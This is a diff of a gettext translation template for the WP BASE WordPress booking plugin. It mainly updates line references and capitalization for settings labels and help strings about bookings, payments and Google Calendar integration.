 "assigned as service provider when these settings saved."
 msgstr ""
 
-#: includes/constant-data.php:367
+#: includes/constant-data.php:378
 msgid "Book Me Tab Content"
 msgstr ""
 
-#: includes/constant-data.php:367
+#: includes/constant-data.php:378
 msgid ""
 "Add shortcodes and other text that will make the content of the book me tab. "
 "During booking, service provider whose profile is being displayed will be "
 "automatically selected (Client cannot select another provider)."
 msgstr ""
 
-#: includes/constant-data.php:368
+#: includes/constant-data.php:379
 msgid "Book Us Tab Content"
 msgstr ""
 
-#: includes/constant-data.php:368
+#: includes/constant-data.php:379
 msgid ""
 "Add shortcodes and other text that will make the content of the book us tab. "
 "Only services of the group assigned to the related location is selectable "
 "from this booking calendar. Tip: You can use <code>[app_book]</code>"
 msgstr ""
 
-#: includes/constant-data.php:369
+#: includes/constant-data.php:380
 msgid "Provider can Edit Book Me Content"
 msgstr ""
 
-#: includes/constant-data.php:369
+#: includes/constant-data.php:380
 msgid ""
 "Whether provider can edit book me content with WP editor in their profile "
 "settings tab."
 msgstr ""
 
-#: includes/constant-data.php:370
+#: includes/constant-data.php:381
 msgid "Book Me Page Slug"
 msgstr ""
 
-#: includes/constant-data.php:370
+#: includes/constant-data.php:381
 msgid ""
 "WP slug used to create Book Me url. Lowercase alphanumeric characters, "
 "dashes, and underscores are allowed."
 msgstr ""
 
-#: includes/constant-data.php:371
+#: includes/constant-data.php:382
 msgid "Book Us Page Slug"
 msgstr ""
 
-#: includes/constant-data.php:371
+#: includes/constant-data.php:382
 msgid ""
 "WP slug used to create Book Us url. Lowercase alphanumeric characters, "
 "dashes, and underscores are allowed."
 msgstr ""
 
-#: includes/constant-data.php:372
+#: includes/constant-data.php:383
 msgid "Integrate Locations with BuddyPress Groups"
 msgstr ""
 
-#: includes/constant-data.php:372
+#: includes/constant-data.php:383
 msgid ""
 "Requires Locations addon. When you select this option, each group can be "
 "related to a WP BASE location. Locations should be defined separately."
 msgstr ""
 
-#: includes/constant-data.php:373
+#: includes/constant-data.php:384
 msgid "Member Types to Assign as Provider"
 msgstr ""
 
-#: includes/constant-data.php:373
+#: includes/constant-data.php:384
 msgid ""
 "Members of selected types will be automatically assigned as service provider "
 "when they register, login or activate their accounts"
 msgstr ""
 
-#: includes/constant-data.php:374
+#: includes/constant-data.php:385
 msgid "Also Notify Client"
 msgstr ""
 
-#: includes/constant-data.php:374
+#: includes/constant-data.php:385
 msgid ""
 "Whether client of the booking will also be notified about selected events."
 msgstr ""
 
-#: includes/constant-data.php:375
+#: includes/constant-data.php:386
 msgid "Events to be Notified"
 msgstr ""
 
-#: includes/constant-data.php:375
+#: includes/constant-data.php:386
 msgid ""
 "When these booking related events happen, provider will be notified by "
 "BuddyPress notification system. Clear all to disable booking notifications."
 msgstr ""
 
-#: includes/constant-data.php:376
+#: includes/constant-data.php:387
 msgid "Bookings Tab Slug"
 msgstr ""
 
-#: includes/constant-data.php:376
+#: includes/constant-data.php:387
 msgid ""
 "WP slug used to create bookings control and settings tab url. Lowercase "
 "alphanumeric characters, dashes, and underscores are allowed."
 msgstr ""
 
-#: includes/constant-data.php:377
+#: includes/constant-data.php:388
 msgid "Create a Book Me Tab in User Profile"
 msgstr ""
 
-#: includes/constant-data.php:377
+#: includes/constant-data.php:388
 msgid ""
 "Whether a functional make a booking page will be added to profile tab of "
 "service providers. If \"Service Provider Selects\" is selected, provider can "
@@ -10866,37 +11647,37 @@
 "displayed."
 msgstr ""
 
-#: includes/constant-data.php:378
+#: includes/constant-data.php:389
 msgid "Create a Book Us Tab in Group Page"
 msgstr ""
 
-#: includes/constant-data.php:378
+#: includes/constant-data.php:389
 msgid ""
 "Whether a functional make a booking tab will be added to group page. Only "
 "services of the group are bookable from this booking calendar."
 msgstr ""
 
-#: includes/constant-data.php:379
+#: includes/constant-data.php:390
 msgid "Show Dashboard"
 msgstr ""
 
-#: includes/constant-data.php:379
+#: includes/constant-data.php:390
 msgid "Whether provider can view dashboard in their profile page."
 msgstr ""
 
-#: includes/constant-data.php:381
+#: includes/constant-data.php:392
 #, php-format
 msgid ""
 "With selection \"compact\", next/previous links are shown on top of the "
 "calendar. For samples see our %s."
 msgstr ""
 
-#: includes/constant-data.php:382 includes/constant-data.php:667
-#: includes/constant-data.php:668
+#: includes/constant-data.php:393 includes/constant-data.php:685
+#: includes/constant-data.php:686
 msgid "Calendar Time Slot Display"
 msgstr ""
 
-#: includes/constant-data.php:382
+#: includes/constant-data.php:393
 #, php-format
 msgid ""
 "Only in Monthly and Weekly Calendar views, determines which time slots are "
@@ -10907,86 +11688,86 @@
 "another time zone, full range is displayed."
 msgstr ""
 
-#: includes/constant-data.php:382
+#: includes/constant-data.php:393
 msgid "Click to access Working Hours page"
 msgstr ""
 
-#: includes/constant-data.php:383 includes/constant-data.php:393
-#: includes/constant-data.php:394 includes/constant-data.php:407
-#: includes/constant-data.php:439 includes/constant-data.php:555
-#: includes/constant-data.php:566
+#: includes/constant-data.php:394 includes/constant-data.php:404
+#: includes/constant-data.php:405 includes/constant-data.php:418
+#: includes/constant-data.php:450 includes/constant-data.php:568
+#: includes/constant-data.php:579
 msgid "Create and Attach pdf File"
 msgstr ""
 
-#: includes/constant-data.php:383 includes/constant-data.php:393
-#: includes/constant-data.php:394 includes/constant-data.php:407
-#: includes/constant-data.php:439 includes/constant-data.php:555
-#: includes/constant-data.php:566
+#: includes/constant-data.php:394 includes/constant-data.php:404
+#: includes/constant-data.php:405 includes/constant-data.php:418
+#: includes/constant-data.php:450 includes/constant-data.php:568
+#: includes/constant-data.php:579
 msgid ""
 "Whether to attach a pdf file that will be created from the below fields. If "
 "attachment field is empty, file will not be attached (empty file will not be "
 "sent)."
 msgstr ""
 
-#: includes/constant-data.php:384
+#: includes/constant-data.php:395
 msgid "Cancellation Limit (hours)"
 msgstr ""
 
-#: includes/constant-data.php:384
+#: includes/constant-data.php:395
 msgid ""
 "Number of hours upto which client can cancel the appointment relative to the "
 "appointment start time. For example, entering 24 will disable cancellations "
 "one day before the appointment is due."
 msgstr ""
 
-#: includes/constant-data.php:385
+#: includes/constant-data.php:396
 msgid "Booking Cancelled Page"
 msgstr ""
 
-#: includes/constant-data.php:385
+#: includes/constant-data.php:396
 msgid ""
 "In case they are cancelling using the email link, the page that the clients "
 "will be redirected after cancellation."
 msgstr ""
 
-#: includes/constant-data.php:386
+#: includes/constant-data.php:397
 msgid "Cancel Return Page"
 msgstr ""
 
-#: includes/constant-data.php:386
+#: includes/constant-data.php:397
 msgid ""
 "The page that client will be returned when he clicks the cancel link on "
 "Paypal website."
 msgstr ""
 
-#: includes/constant-data.php:387
+#: includes/constant-data.php:398
 msgid "Calendar Caption Color"
 msgstr ""
 
-#: includes/constant-data.php:387 includes/constant-data.php:388
+#: includes/constant-data.php:398 includes/constant-data.php:399
 msgid "Only effective when calendar design is \"compact\""
 msgstr ""
 
-#: includes/constant-data.php:388
+#: includes/constant-data.php:399
 msgid "Calendar Caption Font Color"
 msgstr ""
 
-#: includes/constant-data.php:389
+#: includes/constant-data.php:400
 msgid "Pending Approval bookings auto removal time (hours)"
 msgstr ""
 
-#: includes/constant-data.php:389
+#: includes/constant-data.php:400
 msgid ""
 "Pending bookings that require manual approval will be automatically removed "
 "and time slot will be freed when this period of time has passed counting "
 "from booking submission. Enter 0 to disable. Default: 24."
 msgstr ""
 
-#: includes/constant-data.php:390
+#: includes/constant-data.php:401
 msgid "Pending Payment bookings auto removal time (minutes)"
 msgstr ""
 
-#: includes/constant-data.php:390
+#: includes/constant-data.php:401
 msgid ""
 "Same as above, but applies to bookings that has a payment method other than "
 "Manual Payments. If left empty or set to 0, the above \"Pending Approval "
@@ -10994,11 +11775,11 @@
 "0, then auto removal of pending bookings will be disabled. Default: 15"
 msgstr ""
 
-#: includes/constant-data.php:391
+#: includes/constant-data.php:402
 msgid "Client Selects Provider"
 msgstr ""
 
-#: includes/constant-data.php:391
+#: includes/constant-data.php:402
 msgid ""
 "Whether service provider pulldown menu is displayed so that client can pick "
 "a service provider giving the service. If \"forced to pick one\", \"No "
@@ -11007,32 +11788,32 @@
 "\"Assignment Method of Service Provider\" setting."
 msgstr ""
 
-#: includes/constant-data.php:392
+#: includes/constant-data.php:403
 msgid "Time Slot Colors"
 msgstr ""
 
-#: includes/constant-data.php:392
+#: includes/constant-data.php:403
 msgid ""
 "There are suggested color sets here which will match with the theme, but you "
 "can select any other set too or you can enter your custom colors using color "
 "picker, settings of which are visible after you select \"Custom\"."
 msgstr ""
 
-#: includes/constant-data.php:395
+#: includes/constant-data.php:406
 msgid "Hidden Fields on Booking Info"
 msgstr ""
 
-#: includes/constant-data.php:395
+#: includes/constant-data.php:406
 msgid ""
 "Selected fields will not be displayed on checkout. Fields with empty values "
 "may not be displayed as well."
 msgstr ""
 
-#: includes/constant-data.php:396
+#: includes/constant-data.php:407
 msgid "Maximum Allowed Checkout Time (minutes)"
 msgstr ""
 
-#: includes/constant-data.php:396
+#: includes/constant-data.php:407
 msgid ""
 "Only valid with Shopping Cart, Recurring Appointments, Service Bundles and "
 "WooCommerce addons that use WP BASE Cart. This is the countdown time which "
@@ -11040,54 +11821,54 @@
 "disable. Default: 12"
 msgstr ""
 
-#: includes/constant-data.php:397
+#: includes/constant-data.php:408
 msgid "Website Currency - Symbol"
 msgstr ""
 
-#: includes/constant-data.php:398
+#: includes/constant-data.php:409
 msgid "Show Decimal in Prices"
 msgstr ""
 
-#: includes/constant-data.php:399
+#: includes/constant-data.php:410
 msgid "Currency Symbol Position"
 msgstr ""
 
-#: includes/constant-data.php:400
+#: includes/constant-data.php:411
 msgid "Debug Mode"
 msgstr ""
 
-#: includes/constant-data.php:400
+#: includes/constant-data.php:411
 msgid ""
 "Displays information about configuration errors and time slots (why they are "
 "not available) in tooltips and on the page. These texts are only visible to "
 "admins."
 msgstr ""
 
-#: includes/constant-data.php:401
+#: includes/constant-data.php:412
 msgid "Decimal Separator"
 msgstr ""
 
-#: includes/constant-data.php:402
+#: includes/constant-data.php:413
 msgid ""
 "This is the default language of your website. In paranthesis WordPress "
 "locale codes are given."
 msgstr ""
 
-#: includes/constant-data.php:403
+#: includes/constant-data.php:414
 msgid "Business Rep."
 msgstr ""
 
-#: includes/constant-data.php:403
+#: includes/constant-data.php:414
 msgid ""
 "If no providers defined, bookings will be assigned to this user. Also his "
 "working hours will be used as template for new providers and services."
 msgstr ""
 
-#: includes/constant-data.php:404
+#: includes/constant-data.php:415
 msgid "Cumulative Security Deposit"
 msgstr ""
 
-#: includes/constant-data.php:404
+#: includes/constant-data.php:415
 msgid ""
 "Only valid with Shopping Cart addon. By default (setting \"No\") deposit is "
 "calculated as maximum among all selected services in the cart, e.g. $30 from "
@@ -11095,31 +11876,31 @@
 "total amount will be asked from the client; in this example, $60."
 msgstr ""
 
-#: includes/constant-data.php:405
+#: includes/constant-data.php:416
 msgid "Post Types for Service Connected Posts"
 msgstr ""
 
-#: includes/constant-data.php:405
+#: includes/constant-data.php:416
 msgid ""
 "Post types that can be used to relate service to a post. Default: \"page\""
 msgstr ""
 
-#: includes/constant-data.php:406
+#: includes/constant-data.php:417
 msgid "Disable Tooltips in Booking Calendars"
 msgstr ""
 
-#: includes/constant-data.php:406
+#: includes/constant-data.php:417
 msgid ""
 "Selecting \"No\" will disable tooltips like \"Click to pick date\", etc. "
 "Note: In Debug mode, tooltips are displayed."
 msgstr ""
 
-#: includes/constant-data.php:408
+#: includes/constant-data.php:419
 #, php-format
 msgid "Due Payment Reminder Sending Limit of Balance (%s)"
 msgstr ""
 
-#: includes/constant-data.php:408
+#: includes/constant-data.php:419
 msgid ""
 "Due payment reminder is only sent if balance is negative and absolute value "
 "of balance for the appointment is greater than this amount. For example, if "
@@ -11128,30 +11909,30 @@
 "case of any negative balance."
 msgstr ""
 
-#: includes/constant-data.php:409 includes/constant-data.php:713
-msgid "Due Payment Reminder email Message"
+#: includes/constant-data.php:420 includes/constant-data.php:733
+msgid "Due Payment Reminder Email Message"
 msgstr ""
 
-#: includes/constant-data.php:410
+#: includes/constant-data.php:421
 msgid "Booking Statuses Due Payment emails Applied to"
 msgstr ""
 
-#: includes/constant-data.php:410
+#: includes/constant-data.php:421
 msgid ""
 "Only clients having appointments with selected status(es) will receive due "
 "payment reminder email. If none selected, due payment emails will not be "
 "sent at all."
 msgstr ""
 
-#: includes/constant-data.php:411 includes/constant-data.php:714
-msgid "Due Payment Reminder email Subject"
+#: includes/constant-data.php:422 includes/constant-data.php:734
+msgid "Due Payment Reminder Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:412
+#: includes/constant-data.php:423
 msgid "Due Payment Reminder email Sending Time (hours)"
 msgstr ""
 
-#: includes/constant-data.php:412
+#: includes/constant-data.php:423
 msgid ""
 "Defines the time in hours that reminder email will be sent after the "
 "appointment has been booked (creation time). Note that this is different "
@@ -11160,11 +11941,11 @@
 "separated with a comma, e.g. 48,72."
 msgstr ""
 
-#: includes/constant-data.php:413
+#: includes/constant-data.php:424
 msgid "Assign Dummy Providers to"
 msgstr ""
 
-#: includes/constant-data.php:413
+#: includes/constant-data.php:424
 msgid ""
 "You can define \"Dummy\" service providers to enrich your service provider "
 "alternatives and variate your working schedules. Their availability and "
@@ -11172,21 +11953,21 @@
 "they are supposed to receive will be forwarded to the user you select here."
 msgstr ""
 
-#: includes/constant-data.php:414
+#: includes/constant-data.php:425
 msgid "Service Duration Display Format"
 msgstr ""
 
-#: includes/constant-data.php:414
+#: includes/constant-data.php:425
 msgid ""
 "With this setting, you can select display format of durations on the front "
 "end (minutes, hours, hours+minutes)."
 msgstr ""
 
-#: includes/constant-data.php:415
+#: includes/constant-data.php:426
 msgid "Direct Checkout after Confirming Form"
 msgstr ""
 
-#: includes/constant-data.php:415
+#: includes/constant-data.php:426
 msgid ""
 "By default (setting \"No\"), after client confirms the form, booking is "
 "added to WC cart and client stays on booking page so that they can add more "
@@ -11194,82 +11975,82 @@
 "\"Yes\". Then they will be redirected to WC checkout page after confirm."
 msgstr ""
 
-#: includes/constant-data.php:416 includes/constant-data.php:661
+#: includes/constant-data.php:427 includes/constant-data.php:679
 msgid "Enable Integration"
 msgstr ""
 
-#: includes/constant-data.php:416
+#: includes/constant-data.php:427
 #, php-format
 msgid ""
 "Enables integration with EDD e-commerce plugin. That is, WP BASE services "
 "can be sold as EDD products. Also see %s."
 msgstr ""
 
-#: includes/constant-data.php:416
+#: includes/constant-data.php:427
 msgid "EDD demo website"
 msgstr ""
 
-#: includes/constant-data.php:417
+#: includes/constant-data.php:428
 msgid "Booking Info"
 msgstr ""
 
-#: includes/constant-data.php:417
+#: includes/constant-data.php:428
 #, php-format
 msgid ""
 "Short information about the booking, for example date, time, provider. All "
 "<abbr title=\"%s\">booking placeholders</abbr> can be used."
 msgstr ""
 
-#: includes/constant-data.php:418 includes/custom-texts.php:830
+#: includes/constant-data.php:429 includes/custom-texts.php:839
 msgid "Booking Details"
 msgstr ""
 
-#: includes/constant-data.php:418
+#: includes/constant-data.php:429
 #, php-format
 msgid ""
 "Details of booking that will be added below product name. All <abbr "
 "title=\"%s\">booking placeholders</abbr> can be used."
 msgstr ""
 
-#: includes/constant-data.php:419
+#: includes/constant-data.php:430
 msgid "Booking Title"
 msgstr ""
 
-#: includes/constant-data.php:419
+#: includes/constant-data.php:430
 #, php-format
 msgid ""
 "Defines how the selected booking will be displayed in the cart and receipt. "
 "All <abbr title=\"%s\">booking placeholders</abbr> can be used."
 msgstr ""
 
-#: includes/constant-data.php:420
+#: includes/constant-data.php:431
 msgid "Editable Booking Fields"
 msgstr ""
 
-#: includes/constant-data.php:420
+#: includes/constant-data.php:431
 #, php-format
 msgid ""
 "Select which booking fields can be edited. Note: UDF fields can be limited "
 "using \"Editable\" column on %s page. "
 msgstr ""
 
-#: includes/constant-data.php:420
+#: includes/constant-data.php:431
 msgid "UDF settings"
 msgstr ""
 
-#: includes/constant-data.php:421
+#: includes/constant-data.php:432
 msgid "Allow Price Display and Change"
 msgstr ""
 
-#: includes/constant-data.php:421
+#: includes/constant-data.php:432
 msgid "Whether change in selections will affect price."
 msgstr ""
 
-#: includes/constant-data.php:422
+#: includes/constant-data.php:433
 msgid "Editing Lower Limit (hours)"
 msgstr ""
 
-#: includes/constant-data.php:422
+#: includes/constant-data.php:433
 msgid ""
 "Number of hours from appointment start time until which client can edit "
 "their appointment. For example, entering 24 will disable editing one day "
@@ -11278,32 +12059,32 @@
 "editing capability with \"cap\" attribute are not limited with this setting."
 msgstr ""
 
-#: includes/constant-data.php:423
+#: includes/constant-data.php:434
 msgid "Editing Upper Limit (days)"
 msgstr ""
 
-#: includes/constant-data.php:423
+#: includes/constant-data.php:434
 msgid ""
 "Only bookings whose start date is earlier than this setting can be edited. "
 "If left empty, global Upper Limit will be used."
 msgstr ""
 
-#: includes/constant-data.php:424
+#: includes/constant-data.php:435
 msgid "Enable Timezones"
 msgstr ""
 
-#: includes/constant-data.php:424
+#: includes/constant-data.php:435
 msgid ""
 "If selected as \"Yes\", timezone of the client is taken into account during "
 "display of booking UI's, list of bookings and emails. Admin side and "
 "database records are not affected."
 msgstr ""
 
-#: includes/constant-data.php:425
+#: includes/constant-data.php:436
 msgid "Show End Date Based on Venue Bookings"
 msgstr ""
 
-#: includes/constant-data.php:425
+#: includes/constant-data.php:436
 msgid ""
 "For bookings that last one day and longer, whether display end date "
 "according to venue bookings. By default (Setting \"No\"), end date is "
@@ -11315,142 +12096,142 @@
 "displayed on the front end."
 msgstr ""
 
-#: includes/constant-data.php:426
+#: includes/constant-data.php:437
 msgid "Price to Apply upon Multiple Rule Match"
 msgstr ""
 
-#: includes/constant-data.php:426
+#: includes/constant-data.php:437
 msgid ""
 "If there are several matching rules, price returned can be selected among "
 "minimum, maximum or average of the non-zero prices calculated by matching "
 "rules."
 msgstr ""
 
-#: includes/constant-data.php:427
+#: includes/constant-data.php:438
 msgid "Add Caption on Thumbnails"
 msgstr ""
 
-#: includes/constant-data.php:427
+#: includes/constant-data.php:438
 msgid ""
 "Whether to add a caption of event date and location on product thumbnails."
 msgstr ""
 
-#: includes/constant-data.php:428 includes/constant-data.php:508
+#: includes/constant-data.php:439 includes/constant-data.php:519
 msgid "Supported Post Types"
 msgstr ""
 
-#: includes/constant-data.php:428
+#: includes/constant-data.php:439
 msgid ""
 "Select post types Event Bookings will be used for. Setting metabox will be "
 "added to post edit pages of the selected post types."
 msgstr ""
 
-#: includes/constant-data.php:429
+#: includes/constant-data.php:440
 msgid "Event Calendar Small Tooltips"
 msgstr ""
 
-#: includes/constant-data.php:429
+#: includes/constant-data.php:440
 msgid "Whether to use small tooltips in the event calendar."
 msgstr ""
 
-#: includes/constant-data.php:430
+#: includes/constant-data.php:441
 msgid "Event Calendar Items Inline"
 msgstr ""
 
-#: includes/constant-data.php:430
+#: includes/constant-data.php:441
 msgid ""
 "Whether show item details in event calendar inline (with their thumbnail "
 "images) or as simple lines (details displayed on mouse hover)."
 msgstr ""
 
-#: includes/constant-data.php:431
+#: includes/constant-data.php:442
 msgid "Extras Multiplied with Pax"
 msgstr ""
 
-#: includes/constant-data.php:431
+#: includes/constant-data.php:442
 msgid ""
 "Only effective when Group Bookings addon is active. Selected extras are "
 "multiplied by selected number of guests and price adjusted accordingly."
 msgstr ""
 
-#: includes/constant-data.php:432
+#: includes/constant-data.php:443
 msgid "Selection Required"
 msgstr ""
 
-#: includes/constant-data.php:432
+#: includes/constant-data.php:443
 msgid ""
 "Whether client will be forced to pick an option in order to finalize booking "
 "submission."
 msgstr ""
 
-#: includes/constant-data.php:433
+#: includes/constant-data.php:444
 msgid "Facebook App ID"
 msgstr ""
 
-#: includes/constant-data.php:433
+#: includes/constant-data.php:444
 #, php-format
 msgid ""
 "Enter your App ID number here. If you don't have a Facebook App yet, you "
 "will need to create one <a href='%s' target='_blank'>here</a>"
 msgstr ""
 
-#: includes/constant-data.php:434
+#: includes/constant-data.php:445
 msgid "My website already uses Facebook"
 msgstr ""
 
-#: includes/constant-data.php:434
+#: includes/constant-data.php:445
 msgid ""
 "By default, Facebook script will be loaded by the plugin. If you are already "
 "running Facebook scripts, to prevent any conflict, check this option."
 msgstr ""
 
-#: includes/constant-data.php:435
+#: includes/constant-data.php:446
 msgid "Fee (%)"
 msgstr ""
 
-#: includes/constant-data.php:435
+#: includes/constant-data.php:446
 msgid ""
 "Fee in percent that will be added to the total amount in case this method is "
 "picked"
 msgstr ""
 
-#: includes/constant-data.php:436
+#: includes/constant-data.php:447
 msgid "Fee (fixed)"
 msgstr ""
 
-#: includes/constant-data.php:436
+#: includes/constant-data.php:447
 msgid ""
 "Similar to percentage fee, but a fixed amount will be added to the total "
 "amount in case this method is picked. If both fields are filled BOTH fees "
 "will be applied: First percentage, then fixed amount."
 msgstr ""
 
-#: includes/constant-data.php:437
+#: includes/constant-data.php:448
 msgid "Additional css Rules"
 msgstr ""
 
-#: includes/constant-data.php:437
+#: includes/constant-data.php:448
 msgid ""
 "You can add css rules to customize styling of Front End Booking Management "
 "table. These will be added to the front end appointment management page only."
 msgstr ""
 
-#: includes/constant-data.php:438
+#: includes/constant-data.php:449
 msgid "Prepayment (fixed)"
 msgstr ""
 
-#: includes/constant-data.php:438
+#: includes/constant-data.php:449
 msgid ""
 "Similar to percent prepayment, but a fixed amount will be asked from the "
 "client per appointment. If both fields are filled, only the fixed down "
 "payment will be taken into account."
 msgstr ""
 
-#: includes/constant-data.php:440
+#: includes/constant-data.php:451
 msgid "Follow-up email Sending Time (days)"
 msgstr ""
 
-#: includes/constant-data.php:440
+#: includes/constant-data.php:451
 msgid ""
 "Defines how many days after no client activity an email will be sent, "
 "counting from their latest finalised booking end time (in completed or "
@@ -11458,31 +12239,31 @@
 "enter desired delay days separated with a comma, e.g. 30,60."
 msgstr ""
 
-#: includes/constant-data.php:442
+#: includes/constant-data.php:453
 msgid "From email"
 msgstr ""
 
-#: includes/constant-data.php:442
+#: includes/constant-data.php:453
 msgid ""
 "Email address that will be used in \"from\" field of outgoing emails. If "
 "left empty, no-reply@yourdomain will be used."
 msgstr ""
 
-#: includes/constant-data.php:443
+#: includes/constant-data.php:454
 msgid "From name"
 msgstr ""
 
-#: includes/constant-data.php:443
+#: includes/constant-data.php:454
 msgid ""
 "Name that will be used in \"from name\" field of outgoing emails. If left "
 "empty, blog name will be used."
 msgstr ""
 
-#: includes/constant-data.php:444
+#: includes/constant-data.php:455
 msgid "Allow Clients for Google Calendar API Integration"
 msgstr ""
 
-#: includes/constant-data.php:444
+#: includes/constant-data.php:455
 msgid ""
 "Whether you let registered clients (WordPress members) to integrate with "
 "their own Google Calendar account using their profile page. They will just "
@@ -11491,11 +12272,11 @@
 "user roles that can use GCal integration."
 msgstr ""
 
-#: includes/constant-data.php:445
+#: includes/constant-data.php:456
 msgid "Allow Clients to Send Copies of their Bookings to Additional Calendars "
 msgstr ""
 
-#: includes/constant-data.php:445
+#: includes/constant-data.php:456
 msgid ""
 "Whether clients can add calendars of other people (e.g. family members) to "
 "send a copy of each of their bookings as read-only. For clients, number of "
@@ -11503,11 +12284,11 @@
 "profile page."
 msgstr ""
 
-#: includes/constant-data.php:446
+#: includes/constant-data.php:457
 msgid "Each Location has its Own Calendar"
 msgstr ""
 
-#: includes/constant-data.php:446
+#: includes/constant-data.php:457
 #, php-format
 msgid ""
 "Whether each location has its own calendar in GCal account of the website. "
@@ -11515,22 +12296,22 @@
 "selecting as Yes, you can set calendar for each location on %s page."
 msgstr ""
 
-#: includes/constant-data.php:447
+#: includes/constant-data.php:458
 msgid "Allow Service Providers for Google Calendar API Integration"
 msgstr ""
 
-#: includes/constant-data.php:447
+#: includes/constant-data.php:458
 msgid ""
 "Whether you let your service providers to integrate with their own Google "
 "Calendar account using their profile page. They will just need to give "
 "authorization and select calendar in their profile pages."
 msgstr ""
 
-#: includes/constant-data.php:448
+#: includes/constant-data.php:459
 msgid "Allow Service Providers for Event Summary and Description"
 msgstr ""
 
-#: includes/constant-data.php:448
+#: includes/constant-data.php:459
 msgid ""
 "Whether you let your service providers to enter own event summary and "
 "descriptions using their profile page. If you select \"No\" (not allowed) "
@@ -11538,26 +12319,26 @@
 "description for them. "
 msgstr ""
 
-#: includes/constant-data.php:449
+#: includes/constant-data.php:460
 msgid "Google API Key"
 msgstr ""
 
-#: includes/constant-data.php:449
+#: includes/constant-data.php:460
 #, php-format
 msgid ""
 "Enter your Google API Key which can be taken from %s and common for all "
 "Google platforms or follow the instructions."
 msgstr ""
 
-#: includes/constant-data.php:449 includes/constant-data.php:475
+#: includes/constant-data.php:460 includes/constant-data.php:486
 msgid "Google Cloud Platform Console"
 msgstr ""
 
-#: includes/constant-data.php:450 includes/constant-data.php:462
+#: includes/constant-data.php:461 includes/constant-data.php:473
 msgid "Integration Mode"
 msgstr ""
 
-#: includes/constant-data.php:450
+#: includes/constant-data.php:461
 msgid ""
 "Selects method of communication of WP BASE with GCal. WP BASE &rarr; GCal "
 "setting sends/exports bookings to your selected Google calendar, but events "
@@ -11570,11 +12351,11 @@
 "too."
 msgstr ""
 
-#: includes/constant-data.php:451
+#: includes/constant-data.php:462
 msgid "Bookings will be sent to Google Calendar for"
 msgstr ""
 
-#: includes/constant-data.php:451
+#: includes/constant-data.php:462
 msgid ""
 "If you select \"All bookings\", any booking made from this website will be "
 "sent to the selected calendar. If you select \"Unassigned bookings\", only "
@@ -11584,11 +12365,11 @@
 "for that service or existing ones are unavailable."
 msgstr ""
 
-#: includes/constant-data.php:452
+#: includes/constant-data.php:463
 msgid "Additional Calendars to Receive Copies of your Bookings"
 msgstr ""
 
-#: includes/constant-data.php:452
+#: includes/constant-data.php:463
 msgid ""
 "You can add calendars of other people (e.g. co-workers) to send a copy of "
 "each booking as read-only (they will have new bookings and updates as events "
@@ -11599,28 +12380,28 @@
 "format). You can add multiple calendars/emails separated by comma. "
 msgstr ""
 
-#: includes/constant-data.php:453
+#: includes/constant-data.php:464
 msgid ""
 "Background color of Google Calendar events in Schedules. Text color will be "
 "automatically adjusted."
 msgstr ""
 
-#: includes/constant-data.php:454
+#: includes/constant-data.php:465
 msgid "Google Calendar Button Settings"
 msgstr ""
 
-#: includes/constant-data.php:454
+#: includes/constant-data.php:465
 msgid ""
 "Whether to let client access his Google Calendar account using Google "
 "Calendar button. Button is inserted in List of Bookings shortcode and user "
 "page/tab if applicable."
 msgstr ""
 
-#: includes/constant-data.php:455
+#: includes/constant-data.php:466
 msgid "Event Description for Clients"
 msgstr ""
 
-#: includes/constant-data.php:455
+#: includes/constant-data.php:466
 #, php-format
 msgid ""
 "Same as \"Event Summary for Client\" setting. For the above two fields, "
@@ -11628,45 +12409,45 @@
 "GCal, these placeholders will be replaced by their real values."
 msgstr ""
 
-#: includes/constant-data.php:456
+#: includes/constant-data.php:467
 msgid "To get your Google Client ID follow instructions"
 msgstr ""
 
-#: includes/constant-data.php:457
+#: includes/constant-data.php:468
 msgid "Client Secret"
 msgstr ""
 
-#: includes/constant-data.php:457
+#: includes/constant-data.php:468
 msgid "To get your Google Client Secret follow instructions"
 msgstr ""
 
-#: includes/constant-data.php:458
+#: includes/constant-data.php:469
 msgid "Event Summary for Clients"
 msgstr ""
 
-#: includes/constant-data.php:458
+#: includes/constant-data.php:469
 msgid ""
 "Clients are not allowed to enter their event summary and description "
 "settings. The values you enter here will be used as their Event summary and "
 "description templates."
 msgstr ""
 
-#: includes/constant-data.php:459
+#: includes/constant-data.php:470
 msgid "Enable Google Meet"
 msgstr ""
 
-#: includes/constant-data.php:459
+#: includes/constant-data.php:470
 msgid ""
 "Whether a Google Meet will be created for each GCal event where provider and "
 "client are participants. You can use GOOGLE_MEET placeholder to add video "
 "conference link to the emails."
 msgstr ""
 
-#: includes/constant-data.php:460 includes/constant-data.php:463
+#: includes/constant-data.php:471 includes/constant-data.php:474
 msgid "Event Description"
 msgstr ""
 
-#: includes/constant-data.php:460
+#: includes/constant-data.php:471
 #, php-format
 msgid ""
 "Each booking exported to GCal creates a calendar \"event\". This template "
@@ -11676,11 +12457,11 @@
 "values."
 msgstr ""
 
-#: includes/constant-data.php:461
+#: includes/constant-data.php:472
 msgid "Google Calendar Location"
 msgstr ""
 
-#: includes/constant-data.php:461
+#: includes/constant-data.php:472
 msgid ""
 "Enter the address or text that will be used as location field in Google "
 "Calendar. If you are using Locations addon and entered a location address "
@@ -11688,7 +12469,7 @@
 "address field empty, then your website description is sent."
 msgstr ""
 
-#: includes/constant-data.php:462
+#: includes/constant-data.php:473
 msgid ""
 "Selects method of communication of WP BASE with GCal for locations. WP BASE "
 "&rarr; GCal setting sends/exports bookings to your selected Google calendar, "
@@ -11701,7 +12482,7 @@
 "too."
 msgstr ""
 
-#: includes/constant-data.php:463
+#: includes/constant-data.php:474
 #, php-format
 msgid ""
 "Each booking exported to GCal creates a calendar \"event\". This template "
@@ -11711,31 +12492,31 @@
 "replaced by their real values."
 msgstr ""
 
-#: includes/constant-data.php:464 includes/constant-data.php:471
+#: includes/constant-data.php:475 includes/constant-data.php:482
 msgid "Event Summary (Name)"
 msgstr ""
 
-#: includes/constant-data.php:464
+#: includes/constant-data.php:475
 msgid ""
 "This template defines name of the event (also known as event summary) for "
 "the location."
 msgstr ""
 
-#: includes/constant-data.php:465
+#: includes/constant-data.php:476
 msgid "User Roles Allowed for GCal Integration and Additional Calendars"
 msgstr ""
 
-#: includes/constant-data.php:465
+#: includes/constant-data.php:476
 msgid ""
 "If above permission settings are set as \"Only allowed user roles\", then "
 "you can select those role(s) here. Multiple selections are allowed."
 msgstr ""
 
-#: includes/constant-data.php:466
+#: includes/constant-data.php:477
 msgid "Enable Push Notifications"
 msgstr ""
 
-#: includes/constant-data.php:466
+#: includes/constant-data.php:477
 #, php-format
 msgid ""
 "Enabling Push Notifications allows any change in Google Calendar events to "
